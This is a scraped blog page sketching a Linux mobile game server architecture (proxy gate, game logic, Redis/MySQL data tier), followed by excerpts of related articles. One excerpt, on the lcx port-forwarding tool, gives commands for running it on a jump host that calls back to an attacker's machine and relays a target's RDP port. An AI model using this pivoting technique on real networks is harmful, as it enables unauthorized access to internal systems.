Linux Mobile Game Sever(Architecture)

Global:

users ----|---->proxy gate-----|----->game logic-----|----->data warehouse(important and hard)

|                        |                                                                      |

|                        |                                                                      |

|                        |                                                                      |

|                        |                                                                      |

|                        |                                                                      |

==========================================================

Users:Mobile/Ipad/PC

Proxy Gate:DNS+Load Balancing+CDN

||WAN ports(lots of):---------->Round Robin、Weighted Round Robin、Service、Application、Session

||Deployment:------------------->route、bridging(桥接部署方式)、local server load balance

Game Logic:logic-->ua/erlang/java/C#/C++ and so on,diff UI logic.

Data Warehouse:------->Data Access------->Data Acquisition------->Data Storage-----------||

||                              ||                                 ||Cache------------------>||----->NoSql:Redis、mongodb

||                              ||                                 ||Persistence----------->||----->mysql、orcle、file system、disk

|================================================|

Linux Mobile Game Sever Simple:

http(web server service :nginx) + lua(game logic) +  redis and mysql(cache + persistence)

未经允许,请勿转载!

版权声明:本文为博主原创文章,未经博主允许不得转载。

时间: 2024-11-08 09:48:14

Linux Mobile Game Sever(Architecture)的相关文章

Linux and the storage ecosystem

Linux is the Swiss Army knife of file systems, and it also offers a wide variety of storage technologies for both desktops and servers. Beyond the file system, Linux incorporates world-class NAS and SAN technologies, data protection, storage manageme

Linux内核 Documentation下的00-INDEX文档翻译

This is a brief list of all the files in ./linux/Documentation and what they contain. If you add a documentation file, please list it here in alphabetical order as well, or risk being hunted down like a rabid dog. Please try and keep the descriptions

linux定制

http://cc.bingj.com/cache.aspx?q=OpenEmbedded+clfs&d=4706495287069596&mkt=zh-CN&setlang=zh-CN&w=afp8GvZe7KNcRFBKF2kYXd8WwVn9MVkI CLFS stands for Cross Linux From Scratch, it's an offshoot of the LFS (Linux From Scratch) project. The goal o

[中英对照]Introduction to DPDK: Architecture and Principles

Introduction to DPDK: Architecture and Principles | DPDK概论:体系结构与实现原理 Linux network stack performance has become increasingly relevant over the past few years. This is perfectly understandable: the amount of data that can be transferred over a network

嵌入式Linux截图工具gsnap移植与分析【转】

转自:http://blog.csdn.net/lu_embedded/article/details/53934184 版权声明:开心源自分享,快乐源于生活 —— 分享技术,传递快乐.转载文章请注明出处,谢谢! http://blog.csdn.net/lu_embedded/article/details/53934184 由于 Linux 系统的 FrameBuffer 机制,把屏幕上的每个点映射成一段线性内存空间,这样,程序就可以通过改变这段内存的值来改变屏幕上某一点的颜色.如果我们想把

lcx端口转发 linux版

一.端口转发使用 1.攻击机上执行以下命令 ./lcx -p1 2222 -p2 3389 -m 2 在本地监听3389端口,并将发送到本机3389端口的数据传递到本机2222端口 2.跳板机上执行以下命令 ./lcx -h1 attackip -p1 2222 -h2 dstip -p2 3389 -m 3 与攻击机建立连接,并将来自攻击机2222端口的数据全部转发到目标机端口的3389 端口 3.以上连接建立完成后,就可以通过连接攻击机的3389端口,进行访问目标机的3389端口 二.代码

Linux 中改变主机名的 4 种方法

今天,我们将向你展示使用不同的方法来修改主机名.你可以从中选取最适合你的方法. -- Magesh Maruthamuthu 昨天我们已经在我们的网站中写过 如何在 Linux 中修改主机名的文章 .今天,我们将向你展示使用不同的方法来修改主机名.你可以从中选取最适合你的方法. 使用 systemd 的系统自带一个名为 hostnamectl 的好用工具,它可以使我们能够轻易地管理系统的主机名. 当你使用这个原生命令时,它可以立刻改变主机名而无需重启来生效. 但假如你通过手动修改某个配置文件来更

android driver开发常见的英文缩写

CDS: Correlated Double SamplingCCI: Camera Control InterfaceOTP: one-timing programmingCIS: CMOS image sensorDVFS: dynamic voltage and frequency scalingTLP: thread level parallelismDCM: dynamic clock managementAFE: Audio Front-End 音频前后端HS: handsetAOS

osquery An Operating System Instrumentation Framewor

catalog 1. Getting Started 2. install guide for OS X and Linux 3. Features Overview 4. Logging 5. query example 1. Getting Started osquery is an operating system instrumentation framework for OS X and Linux. The tools make low-level operating system